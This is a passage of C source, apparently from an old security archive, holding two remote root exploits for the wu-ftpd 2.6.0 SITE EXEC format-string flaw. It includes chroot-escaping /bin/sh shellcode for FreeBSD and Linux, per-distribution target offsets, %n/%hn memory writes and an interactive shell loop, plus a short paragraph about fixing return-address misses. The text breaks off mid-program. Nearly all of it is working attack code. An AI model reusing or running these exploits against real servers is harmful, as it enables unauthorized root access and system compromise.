       "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
       "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
       "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
       "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
       "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
       "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
       "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
       "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
       "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";

    struct sys_type
    {
       char *sysname;
       int penum;
       int penum2;
       int penum3;
       int offset; /* Dword offset from scanned PTRkeeper to RetAddres keeper */
       char *shellcode;
    };

    struct sys_type target[] =
    {
       {"FreeBSD 3.3-STABLE with Wu-ftpd 2.6.0(1) from PORTS",47,37,52,355,bsd_shellcode},
       {"FreeBSD 3.4-RELEASE/STABLE with Wu-ftpd 2.6.0(1) from PORTS",46,36,51,354,bsd_shellcode},
    /*
       {"FreeBSD 4.0-RELEASE with Wu-ftpd 2.6.0(1) from PORTS",32,48,44,355,bsd_shellcode},
     */
       {NULL,0,0,0,0,NULL}
    };

    int sock;    /* Socket Descriptor */
    int sysnumber = 0;
    char tosend[1024]; /* send buffer */
    char torecv[4096]; /* receive buffer */

    int max(int,int);
    char *scan_ptrretaddr(int,int);
    char *scan_retaddr(int);
    void receive(void);
    void ftp_login(char *,char *);
    void store_value(int,int,int);
    void shell(void);
    void site_exec(char *);
    void usage(char *);

    int main (argc,argv)
       int argc;
       char *argv[];
    {
       int port = 21;
       int main_index = 0;

       char *ptrretaddr;
       char *retaddr;

       struct sockaddr_in sin;
       struct hostent *host;

       while(target[sysnumber].sysname != NULL)
          sysnumber++;

       if (argc < 3)
          usage(argv[0]);
       main_index = atoi(argv[2]);
       if (main_index < 0 || main_index > sysnumber-1)
       {
          printf("Wrong system identifier!\n");
          usage(argv[0]);
       }
       printf ("Exploiting: %s\n",target[main_index].sysname);
       if ((sock=socket(AF_INET,SOCK_STREAM,0)) < 0)
       {
          perror("Socket error");
          exit(-1);
       }

       if(argv[3])
          port=atoi(argv[3]);

       bzero((char*)&sin,sizeof(sin));
       sin.sin_family=AF_INET;
       sin.sin_port=htons(port);
       host=gethostbyname(argv[1]);

       if (host == 0)
       {
          printf("Cannot resolve %s\n",argv[1]);
          exit(-1);
       }
       memcpy(&sin.sin_addr,host->h_addr,host->h_length);
       if ((connect(sock, (struct sockaddr *)&sin, sizeof(sin))) < 0)
       {
          perror("Connect error");
          exit(-1);
       }
       printf("\nCONNECTED!\n\n");

       sleep(DELAY);
       receive();
       fputs(torecv,stdout);
       ftp_login("ftp",target[main_index].shellcode);
       ptrretaddr = scan_ptrretaddr(target[main_index].penum,target[main_index].offset);
       retaddr = scan_retaddr(target[main_index].penum2);
       store_value(target[main_index].penum,((int)ptrretaddr & 65535),1);
       sleep(DELAY);receive();
       store_value(target[main_index].penum3,(int)retaddr,2);
       printf("\033[32mAdG rox ! :)\033[37m\n");
       write(sock,"uname -a;id\n",strlen("uname -a;id\n"));
       signal(SIGINT,SIG_IGN);
       shell();
    }

    int max(int x,int y)
    {
       if (x > y)
          return(x);
       return(y);
    }
    void receive(void)
    {
       bzero(torecv,sizeof(torecv));
       if(read(sock,torecv,sizeof(torecv)) == 0)
       {
          printf("Connection closed by foreign host!\n");
          exit(-1);
       }
    }
    void shell(void)
    {
       fd_set rset;
       int nfds,nread;
       bzero(torecv,sizeof(torecv));
       for (;;)
       {
          nfds=max(fileno(stdin),sock)+1;
          FD_ZERO(&rset);
          FD_SET(fileno(stdin),&rset);
          FD_SET(sock,&rset);
          select(nfds,&rset,NULL,NULL,NULL);
          if(FD_ISSET(fileno(stdin),&rset))
          {
             bzero(tosend,sizeof(tosend));
             fgets(tosend,sizeof(tosend)-2,stdin);
             write(sock,tosend,strlen(tosend));
          }
          if(FD_ISSET(sock,&rset))
          {
             bzero(torecv,sizeof(torecv));
             if((nread=read(sock,torecv,sizeof(torecv))) == 0)
             {
                printf("\nEOF\n");
                exit(0);
             }
             if (nread < 0)
             {
                perror("Read error");
                exit(-1);
             }
             fputs(torecv,stdout);
          }
       }
    }
    void ftp_login(char *username, char *password)
    {
       sprintf(tosend,"USER %s\n",username);
       printf("\033[32m%s\033[37m",tosend);
       write(sock,tosend,strlen(tosend));
       sleep(DELAY);
       receive();
       fputs(torecv,stdout);
       sprintf(tosend,"PASS %s\n",password);
       printf("\033[32mPASS <shellcode>\033[37m\n");
       write(sock,tosend,strlen(tosend));
       sleep(DELAY);
       receive();
       fputs(torecv,stdout);
    }
    void site_exec(char *string)
    {
       char buf[1034];
       bzero(buf,sizeof(buf));
       snprintf(buf,sizeof(buf),"site exec %s\n",string);
       write(sock,buf,strlen(buf));
    }
    char *scan_ptrretaddr(int penum,int offset)
    {
       int a;
       char *buf;
       char *ptr, *retvalue;
       printf("Scanning remote server's stack:\n");
       bzero(tosend,sizeof(tosend));
       for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
       {
                sprintf(buf,"%s","%p:%d");
       }
       site_exec(tosend);
       sleep(DELAY);
       receive();

       buf = strstr(torecv,":")+1;
       ptr =(char*)atoi(buf);
       printf("\033[32mScanned PTRPTRRETADDR is \033[31m0x%x\n\033[37m",ptr);
       retvalue = ptr - offset*4;
       printf("\033[32mCalculated PTRRETADDR is \033[31m0x%x\n\033[37m",retvalue);
       return retvalue;
    }
    char *scan_retaddr(int penum)
    {
       int a;
       char *buf;
       char *ptr, *retvalue;
       printf("Detecting return address:\n");
       bzero(tosend,sizeof(tosend));
       for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
       {
                sprintf(buf,"%s","%p:%d");
       }
       site_exec(tosend);sleep(DELAY);receive();
       buf = strstr(torecv,":")+1;
       ptr =(char*)atoi(buf);
       printf("\033[32mScanned TEMPADDR is \033[31m0x%x\n\033[37m",ptr);
       for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
       {
                sprintf(buf,"%s","%p:%s");
       }
       site_exec(tosend);sleep(DELAY);receive();
       retvalue = ptr;
       buf = strstr(torecv,":")+1;
       ptr = strstr(torecv,"/")+1;
       retvalue += ptr - buf;
       printf("\033[32mCalculated RETADDR is \033[31m0x%x\n\033[37m",retvalue);
       return retvalue;
    }
    void store_value(int penum,int value,int type)
    {
       int a;
       int offset;
       char *buf;
       char *ptr1, *ptr2;
       printf("Storing value 0x%x\n",value);
       bzero(tosend,sizeof(tosend));
       buf = tosend;
       sprintf(buf,"%%.10d"); /* WARNING 10 is a MAGIC NUM! */
       for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2)
       {
                sprintf(buf,"%s","%p:");
       }
       site_exec(tosend);
       sleep(DELAY);
       receive();
       ptr1 = strstr(torecv,"-")+1;
       ptr2 = strstr(torecv,":");
       offset = ptr2 - ptr1;
       printf("offset is 0x%x\n",offset);
       bzero(tosend,sizeof(tosend));
       buf = tosend;
       sprintf(buf,"%%.%d\x64",value - offset + 10); /* WARNING 10 is a MAGIC NUM! */
       for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2)
       {
          if(type == 1) sprintf(buf,"%s","%p%hn");
          if(type == 2) sprintf(buf,"%s","%p%n");
       }
       site_exec(tosend);
    }
    void usage(char *arg)
    {
       int i;
       printf("Usage: %s <hostname> <systype> [port]\n",arg);
       printf(" known systypes: \n");
       for(i=0;i < sysnumber;i++)
          printf("  %2d  - %s\n",i,target[i].sysname);
       exit(-1);
    }

    The following is for the mass amounts of people out there who were
    not  able  to  hit  the  correct  retr_addr  with  the  previously
    disseminated exploits.  The  previous problems were caused  by the
    other exploits  not specifying  the correct  pointer to  the shell
    code, ultimately leaving you with  a telnet session to PORT  21 of
    the vulnerable machine.   While working with  some people over  at
    MIT, it was discovered that  some machines were hit, while  others
    with the same configuration weren't. This is yet to be understood.
    Following  as  you  will  notice  is  TF8's original distribution,
    slightly  modified.   Notice  the  new  AddrRetAddr  field.  If s0
    doesn't work, it is reccomended trying the other OS  distributions
    in the list.

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <signal.h>
    #include <errno.h>

    #ifdef __linux
    #include <getopt.h>
    #endif

    #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
    #define GREEN "\033[32m"
    #define RED "\033[31m"
    #define NORM "\033[0m"

    char infin_loop[]= /* for testing purposes */
     "\xEB\xFE";

    char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
     "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
     "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
     "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
     "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
     "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
     "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
     "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
     "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
     "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
     "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
     "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
     "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
     "\x67\x6c\x69\x6e";

    char bsd_code_d[]= /* you should call it directly (no jump/call)*/
     "\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
     "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
     "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
     "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
     "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
     "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
     "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
     "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
     "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
     "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
     "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";

    char linuxcode[]= /* Lam3rZ chroot() code */
     "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
     "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
     "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
     "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
     "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
     "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
     "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
     "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
     "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
     "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";

    #define MAX_FAILED      4
    #define MAX_MAGIC       100
    static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
    static char *magic_str=NULL;
    int before_len=0;
    char *target=NULL,*username="ftp",*password=NULL;
    struct targets getit;

    struct targets {
	    int def;
	    char *os_descr, *shellcode;
	    int delay;
	    u_long pass_addr, addr_ret_addr;
	    int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
    };

    struct targets targ[]={
	    {0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
	    {0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
	    {0,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
	    {0,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
	    {0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},

	    {0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
	    {1,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
	    {0,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624, {0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
	    {0,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
	    {0,NULL,NULL,0,0,0,{0},{0},0}
    };

    void usage(char*zu,int q){
    int i, n, padding;
    fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
    "         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
    "target    : host with any wuftpd\nuser      : anonymous user\n"
    "dir       : if not anonymous user, you need to have writable directory\n"
    "magic_str : magic string (see exploit description)\n-g        : enables magic string digging\n"
    "-x        : enables test mode\npass_addr : pointer to setproctitle argument\n"
    "ret_addr  : this is pointer to shellcode\nsystypes: \n",zu);
     for(i=0;targ[i].os_descr!=NULL;i++){
      padding=0;
      fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
      if(q>1){
       fprintf(stderr,"     Magic ID: [");
       for(n=0;targ[i].magic[n]!=0;n++){
        if(targ[i].magic_d[n]==4)
         padding=targ[i].magic[n];
        fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
        if(targ[i].magic[n+1]!=0)
         fprintf(stderr,":");
       }
       fprintf(stderr,"] Padding: %d\n",padding);
       fflush(stderr);
      }
     }
     exit(1);
    }

    int connect_to_server(char*host){
     struct hostent *hp;
     struct sockaddr_in cl;
     int sock;

     if(host==NULL||*host==(char)0){
      fprintf(stderr,"Invalid hostname\n");
      exit(1);
     }
     if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
      if((hp=gethostbyname(host))==NULL) {
       fprintf(stderr,"Cannot resolve %s\n",host);
       exit(1);
      }
      memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
     }
     if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
      fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
      exit(1);
     }
     cl.sin_family=PF_INET;
     cl.sin_port=htons(21);
     if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
      fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
      exit(1);
     }
     return sock;
    }

    int ftp_recv(int sock,char*buf,int buf_size,int disc){
     int n=0;
     char q;

     if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
     else {
      (void)bzero(buf,buf_size);
      n=recv(sock,buf,buf_size,0);
      if(n<0){
       fprintf(stderr,"ftp_recv: recv failed\n");
       exit(1);
      }
      buf[n]=0;
     }
     return n;
    }
    int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
     int n;
     n=send(sock,what,size,0);
     if(n!=size){
      fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
      shutdown(sock,2);
      close(sock);
      exit(1);
     }
     if(f)
      return ftp_recv(sock,ans,ans_size,0);
     return 0;
    }

    int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
     ftp_send(sock,buff,buff_len,q,ans,ans_len);
     if(strncmp(ans,"200-",4)==0)
       ftp_recv(sock,NULL,0,1);
     else
      ftp_recv(sock,ans,ans_len,0);

     if(strncmp(ans,"200-",4)){
      fprintf(stderr,"Cannot find site exec response string\n");
      exit(1);
     }
     return 0;
    }

    void ftp_login(int sock,char*u_name,char*u_pass)
    {
     char buff[2048];
      printf("loggin into system..\n");
      snprintf(buff,2047,"USER %s\r\n", u_name);
      ftp_send(sock, buff,strlen(buff),1,buff,2047);
      printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
      snprintf(buff,2047,"PASS %s\r\n",u_pass);
      printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
      ftp_send(sock,buff,strlen(buff),1,buff,2047);
      while(strstr(buff,"230 ")==NULL){
       (void)bzero(buff,2048);
       ftp_recv(sock,buff,2048,0);
      }
      printf("%s",buff);
      return;
    }

    void ftp_mkchdir(int sock,char*cd,char*new)
    {
     char buff[2048];

     sprintf(buff,"CWD %s\r\n",cd);
     printf(GREEN"%s"NORM,buff);
     ftp_send(sock,buff,strlen(buff),1,buff,2047);
     printf("%s",buff);
     sprintf(buff,"MKD %s\r\n",new);
     ftp_send(sock,buff,strlen(buff),1,buff,2047);
     printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
     sprintf(buff,"CWD %s\r\n",new);
     ftp_send(sock,buff,strlen(buff),1,buff,2047);
     printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
     return;
    }
    void process_possibly_rooted(int sock)
    {
     fd_set 	fd_read;
     char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;\n":"/usr/bin/uname -a;/usr/bin/id;\n";
     int n;

     FD_ZERO(&fd_read);
     FD_SET(sock, &fd_read);
     FD_SET(0, &fd_read);
     send(sock, cmd, strlen(cmd), 0);
     while(1) {
      FD_SET(sock,&fd_read);
      FD_SET(0,&fd_read);
      if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
      if( FD_ISSET(sock, &fd_read) ) {
       if((n=recv(sock,buff,sizeof(buff),0))<0){
         fprintf(stderr, "EOF\n");
         exit(2);
       }
       if(write(1,buff,n)<0)break;
      }
      if ( FD_ISSET(0, &fd_read) ) {
        if((n=read(0,buff,sizeof(buff)))<0){
          fprintf(stderr,"EOF\n");
          exit(2);
        }
        if(send(sock,buff,n,0)<0) break;
      }
      usleep(10);
     }
     fprintf(stderr,"Connection aborted, select failed()\n");
     exit(0);
    }

    int magic_check_f(int sock, char *str) {
     char q[2048], ans[2048];

     snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
     if( strstr( q, "\r\n") == NULL) {
      fprintf(stderr,"Line TOO big..\n");
      exit(-1);
     }
     ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
     if( before_len+10 < strlen(&ans[3]) ) return 0;
     before_len=strlen(&ans[3]);
     (void)strcat(str,"%.f");
     return 1;
    }
    int magic_check_o(int sock, char *str) {
     char q[2048], ans[2048];
      snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
      if( strstr( q, "\r\n") == NULL) {
       fprintf(stderr,"Line TOO big..\n");
       exit(-1);
      }
     ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
     if( before_len== strlen(&ans[3]) ) {
      before_len+=1;
      (void)strcat(str, "%d");
      return 3;
     }
     before_len=strlen(&ans[3]);
     (void)strcat(str,"%c");
     return 2;
    }

    int magic_check_ok( int sock, char *str)
    {
     char q[2048], ans[2048];
     int i ,n=1, f, padding=0;

     snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
     if ( strstr(q, "\r\n" ) == NULL) {
      fprintf(stderr, "Line too long\n");
      exit(-1);
     }
     (void)bzero(ans, 2048);
     ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
     if(strstr(ans,"0x61616161")==NULL)
       return 0;
     for(i =0; i < MAX_MAGIC && magic[i]; i++);
     magic_d[i]=4;
     while(n){
      for(f=0; f< 2; f++) {
       snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
       (void)bzero(ans, 2048);
       ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
       if( strstr(ans, "0x61616161")!=NULL) {
        if (f==0) {
         magic[i]=padding;
         return 1;
        } else if( f==1) {
         strcat(str,"%p");
         magic[i]=padding;
         return 1;
        }
       }
      }
      if(padding > 4) {
       fprintf(stderr,"Cannot calculate padding..\n");
       exit(1);
      }
      padding++;
     }
     return 1;
    }


    int magic_digger(int sock)
    {
     int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;

     if(magic_str==NULL){
      if((magic_str=(char*)malloc(4092))==NULL){
       perror("malloc");
       exit(errno);
      }
     }
     (void)bzero(magic_str, 4092);
     where=0;
     while(get_out) {
      int q;
      if( where >= MAX_MAGIC-1 || all_failed <= 0 )
        return -1;
      if( magic_check_f(sock, magic_str) ) {
       o=0,f++;
        if(f==1){
         if(!magic[where])
          magic[where]=1;
         else
          magic[++where]+=1;
        magic_d[where]=1;
        } else
         magic[where]+=1;
       all_failed=MAX_FAILED*2;
       printf("%s", "%.f"); fflush(stdout);
       goto verify;
      }
      all_failed--;
      if((q=magic_check_o(sock,magic_str))){
       f=0,o++;
        if(o==1){
         if(!magic[where])
          magic[0]=1;
         else
          magic[++where]+=1;
        magic_d[where]=q;
       } else {
        if(magic_d[where]==q)
         magic[where]+=1;
        else {
         magic[++where]=1;
         magic_d[where]=q;
        }
       }
       all_failed=MAX_FAILED*2;
       printf("%s", q==2?"%c":"%d");
       fflush(stdout);
       goto verify;
      }
      all_failed--;
      continue;
      verify:
      if(magic_check_ok(sock,magic_str)){
       putchar('\n');
       return 0;
      }
     }
     return 0;
    }

    int main(int argc, char *argv[]){
	    char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
	    int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
	    u_long ret_addr=0, pass_addr=0;
	    for(i=0;targ[i].os_descr!=NULL;i++);
	    while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){
	    switch(c) {
	     case 't': target=optarg;break;
	     case 'l':
	       username=optarg;
	       passwd=strchr(optarg,'/');
	       if(passwd==NULL)
	        usage(argv[0],0);
	       *passwd++=(char)0;
	       break;
	     case 'x': testmode=1; break;
	     case 'o': offset=atoi(optarg);break;
	     case 'p': pass_addr=strtoul(optarg, &optarg,16); break;
	     case 'g': gm=1; break;
	     case 'M': dir=optarg;mtype=1;break;
	     case 'm':
	       {
	        int where=0;
	        if(!*optarg) {
	          fprintf(stderr,"-m requires argument, try -h for help\n");
	          exit(1);
	        }
	        while(1) {
	          magic[where]=strtoul(optarg,&optarg,16);
	          optarg=strchr(optarg,',');
	          if(optarg==NULL){
	            printf("comma missing\n");
		    exit(1);
	          }
	          optarg++;
	          magic_d[where++]=strtoul(optarg,&optarg,16);
	          if(strchr(optarg,':')==NULL){
	           magic[where]=magic_d[where]=0;
	           break;
	          }
	          optarg=strchr(optarg,':');
	          optarg++;
	        }
	       }
	       break;
	      case 's':
	        num=atoi(optarg);
	        if(num>i) {
	         fprintf(stderr,"systype too big, try -h for help\n");
	         exit(1);
	        }
	        break;
	      case 'r':
	        ret_addr=strtoul(optarg,&optarg,16);
	        break;
	      case 'P':
	        padding=atoi(optarg);
	        break;
	      case 'H':
	         bla=2;
	      default: usage(argv[0],bla);break;
	     }
            }
	    if(target==NULL){
	      fprintf(stderr,"No target specified, try -h for help\n");
	      exit(1);
	    }
	    if(num==-1||num==-2) {
	      for(i=0;!targ[i].def;i++);
	      num=i;
	    }
	    (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));

	    if(magic[1]!=0) {
	     memcpy((void*)getit.magic,magic,sizeof(magic));
	     memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
	    }

	    if(ret_addr)getit.addr_ret_addr=ret_addr;
	    if(pass_addr)getit.pass_addr=pass_addr;

	    getit.addr_ret_addr+=(offset*4);

 	    sock=connect_to_server(target);
	    memset(shellcode, '\x90', sizeof(shellcode));
	    shellcode[sizeof(shellcode)-1]=(char)0;
	    if(!mtype){
	     memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
	     shellcode[sizeof(shellcode)-1]=(char)0;
	    }else{
	     memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
	     shellcode[250-1]=(char)0;
	    }
	    printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr);
	    printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));

	    buff=(char *)malloc(1024);
	    bzero(buff,1024);

	    (void)ftp_recv(sock,NULL,0,1);

	    (void)ftp_login(sock,username,passwd);

	    if(gm||(magic_str==NULL&&getit.magic[0]==0)){
	     printf("STEP 2A: Generating magic string: ");
	     fflush(stdout);
	     magic_digger(sock);
	     memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
	     memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
	     printf("STEP 2B: MAGIC STRING: [");
	    } else {
	      printf("STEP 2 : Skipping, magic number already exists: [");
	    }
	    for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
	     printf("%02X,%02X",getit.magic[i],getit.magic_d[i]);
	     if(getit.magic[i+1]!=0)
	         putchar(':');
	    }
	    printf("]\n");
	    buff=(char *)realloc(buff, 4092);
	    (void)bzero(buff, 4092);
            if(mtype)
             ftp_mkchdir(sock,dir,shellcode);
	    printf("STEP 3 : Checking if we can reach our return address by format string\n");
	    if(!magic_str){
	      magic_str=(char*)malloc(2048);
	      if(magic_str==NULL) {
	        perror("malloc");
	        exit(errno);
	      }
	      (void)bzero(magic_str,2048);
	      for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
	       switch(getit.magic_d[i]) {
	        case 1:
	           for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f");
	           break;
	        case 2:
	           for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c");
	           break;
	        case 3:
	           for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d");
	           break;
	        case 4:if(padding<0)padding=getit.magic[i];break;
	        default:fprintf(stderr,"STEP 3: INternal error\n");
	           exit(1);
	           break;
 	      }
	     }
	    }
	    if(padding<0){
	      for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
	      if(num<(MAX_MAGIC-1))
	        padding=getit.magic[num];
	      else
	        fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n");
	    }

	    if(!getit.islinux){
 	     if(!testmode)
	       snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
	     else
	       snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
	    } else {
 	     if(!testmode)
	       snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
	     else
	       snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
	    }
	    sleep(getit.delay);
	    fflush(stdout);
	    if((buff_p=(char *)malloc(4096))==NULL){
	      fprintf(stderr,"malloc failed.\n");
	      exit(1);
	    }
